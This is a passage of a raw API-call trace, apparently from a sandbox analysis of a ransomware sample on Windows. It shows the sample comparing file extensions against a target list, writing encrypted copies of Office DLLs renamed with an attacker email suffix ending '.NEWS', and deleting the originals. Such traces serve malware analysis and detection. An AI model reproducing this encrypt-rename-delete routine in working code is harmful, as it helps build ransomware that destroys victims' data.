"c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0087.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui") returned 72 [0087.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui") returned 72 [0087.805] lstrlenW (lpString=".doc") returned 4 [0087.805] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.805] lstrlenW (lpString=".docx") returned 5 [0087.805] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0087.805] lstrlenW (lpString=".pdf") returned 4 [0087.805] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.805] lstrlenW (lpString=".xls") returned 4 [0087.805] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.805] lstrlenW (lpString=".xlsx") returned 5 [0087.805] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0087.805] lstrlenW (lpString=".ppt") returned 4 [0087.805] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui") returned 72 [0087.805] lstrlenW (lpString=".zip") returned 4 [0087.805] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.805] lstrlenW (lpString=".rar") returned 4 [0087.805] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.805] lstrlenW (lpString=".bz2") returned 4 [0087.806] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.806] lstrlenW (lpString=".7z") returned 3 [0087.806] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui") returned 72 [0087.806] lstrlenW (lpString=".dbf") returned 4 [0087.806] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui") returned 72 [0087.806] lstrlenW (lpString=".1cd") returned 4 [0087.806] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui") returned 72 [0087.806] lstrlenW (lpString=".jpg") returned 4 [0087.806] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui") returned 72 [0087.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui") returned 72 [0087.806] lstrlenW (lpString=".doc") returned 4 [0087.806] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.806] lstrlenW (lpString=".docx") returned 5 [0087.806] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0087.806] lstrlenW (lpString=".pdf") returned 4 [0087.806] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.806] lstrlenW (lpString=".xls") returned 4 [0087.806] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.806] lstrlenW (lpString=".xlsx") returned 5 [0087.806] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0087.806] lstrlenW (lpString=".ppt") returned 4 [0087.806] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui") returned 72 [0087.806] lstrlenW (lpString=".zip") returned 4 [0087.806] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.806] lstrlenW (lpString=".rar") returned 4 [0087.806] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.806] lstrlenW (lpString=".bz2") returned 4 [0087.806] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.806] lstrlenW (lpString=".7z") returned 3 [0087.806] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui") returned 72 [0087.807] lstrlenW (lpString=".dbf") returned 4 [0087.807] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui") returned 72 [0087.807] lstrlenW (lpString=".1cd") returned 4 [0087.807] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui") returned 72 [0087.807] lstrlenW (lpString=".jpg") returned 4 [0087.807] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.807] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0087.807] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0087.807] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0087.807] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=10240) returned 1 [0087.807] CloseHandle (hObject=0x2f4) returned 1 [0087.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui")) returned 0x20 [0087.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0087.808] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0087.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui") returned 72 [0087.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui") returned 72 [0087.808] lstrlenW (lpString=".doc") returned 4 [0087.808] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.808] lstrlenW (lpString=".docx") returned 5 [0087.808] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0087.808] lstrlenW (lpString=".pdf") returned 4 [0087.808] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.808] lstrlenW (lpString=".xls") returned 4 [0087.808] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.808] lstrlenW (lpString=".xlsx") returned 5 [0087.808] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0087.808] lstrlenW (lpString=".ppt") returned 4 [0087.808] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui") returned 72 [0087.808] lstrlenW (lpString=".zip") returned 4 [0087.808] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.808] lstrlenW (lpString=".rar") returned 4 [0087.808] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.808] lstrlenW (lpString=".bz2") returned 4 [0087.808] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.808] lstrlenW (lpString=".7z") returned 3 [0087.808] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui") returned 72 [0087.808] lstrlenW (lpString=".dbf") returned 4 [0087.808] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui") returned 72 [0087.808] lstrlenW (lpString=".1cd") returned 4 [0087.808] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui") returned 72 [0087.808] lstrlenW (lpString=".jpg") returned 4 [0087.808] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui") returned 72 [0087.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui") returned 72 [0087.809] lstrlenW (lpString=".doc") returned 4 [0087.809] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.809] lstrlenW (lpString=".docx") returned 5 [0087.809] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0087.809] lstrlenW (lpString=".pdf") returned 4 [0087.809] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.809] lstrlenW (lpString=".xls") returned 4 [0087.809] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.809] lstrlenW (lpString=".xlsx") returned 5 [0087.809] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0087.809] lstrlenW (lpString=".ppt") returned 4 [0087.809] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui") returned 72 [0087.809] lstrlenW (lpString=".zip") returned 4 [0087.809] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.809] lstrlenW (lpString=".rar") returned 4 [0087.809] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.809] lstrlenW (lpString=".bz2") returned 4 [0087.809] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.809] lstrlenW (lpString=".7z") returned 3 [0087.809] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui") returned 72 [0087.809] lstrlenW (lpString=".dbf") returned 4 [0087.809] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui") returned 72 [0087.809] lstrlenW (lpString=".1cd") returned 4 [0087.809] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui") returned 72 [0087.809] lstrlenW (lpString=".jpg") returned 4 [0087.809] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.810] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0087.810] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0087.810] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0087.810] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=9728) returned 1 [0087.810] CloseHandle (hObject=0x2f4) returned 1 [0087.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\tipresx.dll.mui")) returned 0x20 [0087.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\tipresx.dll.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0087.810] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0087.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui") returned 77 [0087.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui") returned 77 [0087.810] lstrlenW (lpString=".doc") returned 4 [0087.810] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.810] lstrlenW (lpString=".docx") returned 5 [0087.810] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0087.810] lstrlenW (lpString=".pdf") returned 4 [0087.810] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.810] lstrlenW (lpString=".xls") returned 4 [0087.810] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.811] lstrlenW (lpString=".xlsx") returned 5 [0087.811] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0087.811] lstrlenW (lpString=".ppt") returned 4 [0087.811] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui") returned 77 [0087.811] lstrlenW (lpString=".zip") returned 4 [0087.811] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.811] lstrlenW (lpString=".rar") returned 4 [0087.811] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.811] lstrlenW (lpString=".bz2") returned 4 [0087.811] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.811] lstrlenW (lpString=".7z") returned 3 [0087.811] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui") returned 77 [0087.811] lstrlenW (lpString=".dbf") returned 4 [0087.811] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.824] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0087.857] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.857] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.857] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0088.273] GetLastError () returned 0x0 [0088.275] ReadFile (in: hFile=0x2f4, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0088.297] WriteFile (in: hFile=0x388, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0088.316] ReadFile (in: hFile=0x2f4, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x68268, lpOverlapped=0x0) returned 1 [0088.644] WriteFile (in: hFile=0x388, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x68270, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x68270, lpOverlapped=0x0) returned 1 [0088.654] ReadFile (in: hFile=0x2f4, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0088.654] WriteFile (in: hFile=0x388, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xea, lpOverlapped=0x0) returned 1 [0088.655] SetEndOfFile (hFile=0x388) returned 1 [0088.655] CloseHandle (hObject=0x388) returned 1 [0088.655] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.655] SetEndOfFile (hFile=0x2f4) returned 1 [0088.659] CloseHandle (hObject=0x2f4) returned 1 [0088.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0088.659] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll")) returned 1 [0088.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0088.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0088.660] lstrlenW (lpString=".doc") returned 4 [0088.660] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0088.660] lstrlenW (lpString=".docx") returned 5 [0088.660] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0088.660] lstrlenW (lpString=".pdf") returned 4 [0088.660] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0088.660] lstrlenW (lpString=".xls") returned 4 [0088.660] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0088.660] lstrlenW (lpString=".xlsx") returned 5 [0088.660] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0088.660] lstrlenW (lpString=".ppt") returned 4 [0088.660] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0088.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0088.660] lstrlenW (lpString=".zip") returned 4 [0088.660] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0088.660] lstrlenW (lpString=".rar") returned 4 [0088.660] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0088.660] lstrlenW (lpString=".bz2") returned 4 [0088.660] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0088.660] lstrlenW (lpString=".7z") returned 3 [0088.660] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0088.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0088.660] lstrlenW (lpString=".dbf") returned 4 [0088.660] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0088.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0088.660] lstrlenW (lpString=".1cd") returned 4 [0088.660] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0088.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0088.661] lstrlenW (lpString=".jpg") returned 4 [0088.661] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0088.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0088.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0088.661] lstrlenW (lpString=".doc") returned 4 [0088.661] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0088.661] lstrlenW (lpString=".docx") returned 5 [0088.661] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0088.661] lstrlenW (lpString=".pdf") returned 4 [0088.661] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0088.661] lstrlenW (lpString=".xls") returned 4 [0088.661] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0088.661] lstrlenW (lpString=".xlsx") returned 5 [0088.661] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0088.661] lstrlenW (lpString=".ppt") returned 4 [0088.661] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0088.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0088.661] lstrlenW (lpString=".zip") returned 4 [0088.661] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0088.661] lstrlenW (lpString=".rar") returned 4 [0088.662] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0088.662] lstrlenW (lpString=".bz2") returned 4 [0088.662] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0088.662] lstrlenW (lpString=".7z") returned 3 [0088.662] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0088.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0088.662] lstrlenW (lpString=".dbf") returned 4 [0088.662] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0088.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0088.662] lstrlenW (lpString=".1cd") returned 4 [0088.662] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0088.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0088.662] lstrlenW (lpString=".jpg") returned 4 [0088.662] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0088.662] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0088.662] lstrlenW (lpString="vstoee.dll") returned 10 [0088.662] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0088.663] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=168064) returned 1 [0088.663] CloseHandle (hObject=0x2f4) returned 1 [0088.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll")) returned 0x20 [0088.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0088.663] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0088.663] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.663] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.663] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0089.125] GetLastError () returned 0x0 [0089.125] ReadFile (in: hFile=0x2f4, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x29080, lpOverlapped=0x0) returned 1 [0089.129] WriteFile (in: hFile=0x338, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x29090, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x29090, lpOverlapped=0x0) returned 1 [0089.174] ReadFile (in: hFile=0x2f4, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0089.174] WriteFile (in: hFile=0x338, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xe8, lpOverlapped=0x0) returned 1 [0089.174] SetEndOfFile (hFile=0x338) returned 1 [0089.175] CloseHandle (hObject=0x338) returned 1 [0089.175] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.175] SetEndOfFile (hFile=0x2f4) returned 1 [0089.177] CloseHandle (hObject=0x2f4) returned 1 [0089.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0089.177] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll")) returned 1 [0089.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0089.177] lstrlenW (lpString="C:\\Program 